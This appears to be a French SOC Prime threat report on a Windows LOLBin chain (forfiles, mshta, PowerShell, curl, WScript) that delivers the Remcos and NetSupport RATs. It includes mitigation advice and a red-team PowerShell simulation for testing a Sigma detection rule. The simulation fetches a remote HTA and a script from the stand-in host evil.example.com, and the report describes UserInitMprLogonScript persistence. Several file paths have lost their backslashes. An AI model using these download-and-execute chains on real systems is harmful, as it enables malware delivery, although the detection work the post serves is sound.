SOC Prime Bias: Moyen

23 Jan 2026 18:03

Peut-on Surutiliser les LOLBins pour Délivrer des Charges Utilisant des RAT ?

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Peut-on Surutiliser les LOLBins pour Délivrer des Charges Utilisant des RAT ?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Ce rapport décrit une chaîne d’infection multi-étapes qui exploite de manière agressive les utilitaires intégrés de Windows (LOLBins) pour récupérer et exécuter des outils d’accès à distance, y compris Remcos et NetSupport Manager. L’opérateur enchaîne forfiles, mshta, PowerShell, curl, tar, WScript et des modifications ciblées du registre pour mettre en scène les charges utiles, établir une persistance et réduire la visibilité. Le flux de travail utilise également un comportement de survie (living-off-the-land) pour s’intégrer discrètement dans les activités administratives de routine. Malwarebytes a identifié l’activité et bloqué l’adresse IP associée. Dans l’ensemble, cela souligne à quel point l’exploitation abusive des LOLBin peut livrer de manière fiable des RATs.

Enquête

Les chercheurs ont d’abord observé forfiles.exe engendrer mshta, qui a récupéré un HTA malveillant exécutant PowerShell pour récupérer un leurre PDF contenant une archive TAR. Après extraction, un glaxnimate.exe trojanisé a déposé des composants fragmentés dans ProgramData, ensuite réassemblés et lancés en utilisant WScript, des scripts batch et des fichiers de support. La persistance a été définie en créant une valeur UserInitMprLogonScript sous HKCUEnvironment faisant référence à un binaire de client malveillant.

Atténuation

Surveiller l’exécution anormale de LOLBin, en particulier forfiles, mshta, curl, tar, expand, et les modifications suspectes du registre au sein de HKCUEnvironment. Appliquer une liste blanche d’applications, activer la journalisation complète de PowerShell, et empêcher l’exécution de scripts depuis ProgramData pour limiter l’étagement. Bloquer les communications HTTP sortantes inhabituelles vers des IP inconnues et appliquer un filtrage d’URL pour perturber les tentatives initiales de téléchargement.

Réponse

Lorsque détecté, isoler l’hôte, capturer la télémétrie complète de la ligne de commande, et collecter les artefacts abandonnés pour une analyse de hachage. Retirer l’entrée de registre malveillante et purger les fichiers créés dans ProgramData. Effectuer un scan de l’endpoint avec des signatures antivirus à jour et mettre en place un blocage au niveau du réseau pour l’adresse IP de l’attaquant et les domaines associés.

graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[« <b>Technique</b> – T1218.005: Mshta.exe<br/><b>Description</b> Utilisation de forfiles.exe pour lancer mshta et télécharger HTA »] class initial_access technique process_mshta[« <b>Processus</b>: mshta.exe<br/><b>Action</b> Exécute HTA distant »] class process_mshta process download_htapayload[« <b>Action</b> – Télécharger HTA<br/><b>Outil</b> mshta »] class download_htapayload action cmd_execution[« <b>Technique</b> – T1059.003: Shell de commandes Windows<br/><b>Description</b> HTA lance cmd.exe »] class cmd_execution technique powershell_one_liner[« <b>Technique</b> – T1059.001: PowerShell<br/><b>Description</b> One-liner télécharge le payload en PDF, extrait avec tar, lance glaxnimate.exe »] class powershell_one_liner technique local_staging[« <b>Technique</b> – T1074.001: Staging local<br/><b>Description</b> Crée des fichiers .PART dans ProgramData »] class local_staging technique vbscript_execution[« <b>Technique</b> – T1059.005: Visual Basic<br/><b>Description</b> wscript.exe exécute processor.vbs qui lance cmd caché pour exécuter patcher.bat »] class vbscript_execution technique archive_extraction[« <b>Technique</b> – T1560.001: Extraction d’archives<br/><b>Description</b> expand extrait setup.cab contenant NetSupport RAT »] class archive_extraction technique persistence[« <b>Technique</b> – T1547.014: Clés de registre / Dossier de démarrage<br/><b>Description</b> HKCU\\Environment\\UserInitMprLogonScript défini sur client32.exe »] class persistence technique client32[« <b>Malware</b> client32.exe<br/><b>Objectif</b> Exécute au démarrage de session »] class client32 malware glaxnimate[« <b>Malware</b> glaxnimate.exe trojanisé<br/><b>Objectif</b> Exécute le payload malveillant »] class glaxnimate malware netsupport[« <b>Malware</b> NetSupport RAT<br/><b>Objectif</b> Payload d’accès à distance »] class netsupport malware %% Connections initial_access –>|utilise| process_mshta process_mshta –>|télécharge| download_htapayload download_htapayload –>|exécute| cmd_execution cmd_execution –>|déclenche| powershell_one_liner powershell_one_liner –>|stage fichiers| local_staging local_staging –>|exécute| vbscript_execution vbscript_execution –>|extrait| archive_extraction archive_extraction –>|installe| glaxnimate glaxnimate –>|installe| netsupport netsupport –>|conduit à| persistence persistence –>|exécute| client32

Flux d’attaque

Exécution de simulation

Condition préalable : Le contrôle de pré-vol pour la télémétrie et la base doit avoir réussi.

Motif : Cette section détaille l’exécution précise de la technique des adversaires (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection.

  • Narratif d’attaque et commandes :
    L’opérateur de l’équipe rouge vise à déployer le Remcos RAT en utilisant une chaîne de LOLBins pour éviter de télécharger un exécutable directement.

    1. Découverte et mise en scène : Use forfiles.exe pour localiser un répertoire cible et lancer mshta avec une URL malveillante qui héberge une charge utile HTA.
    2. Téléchargement PowerShell sans fichier : Invoquer powershell.exe avec -NoProfile -Command curl pour tirer un script de deuxième étape d’un serveur C2.
    3. Exécution VBScript : Déployer un processor.vbs via crafted WScript.exe pour écrire le binaire RAT dans %ProgramData%.
    4. Déposeur en batch : Exécuter un fichier batch caché (patcher.bat) via cmd.exe invoqué via IWshShell3.Run pour finaliser la persistance.

    Chaque étape génère un événement de création de processus distinct correspondant à une des sélections Sigma, garantissant que la règle se déclenche.

  • Script de test de régression :
    Le script ci-dessous reproduit les quatre sélections dans un laboratoire contrôlé. Il journalise chaque commande dans un fichier temporaire pour vérification ultérieure.

    #-------------------------------------------------
    # Simulation d'abus de LOLBin - déclenche la règle Sigma
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Exécution : $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> téléchargement curl
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Exécution : $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malveillant"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Exécution : $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Exécution : $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Simulation terminée." | Tee-Object -FilePath $log
  • Commandes de nettoyage :
    Supprimer les artefacts pour restaurer l’hôte à un état propre.

    # Nettoyer les artefacts de simulation LOLBin
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
     Write-Output "[+] Nettoyage terminé."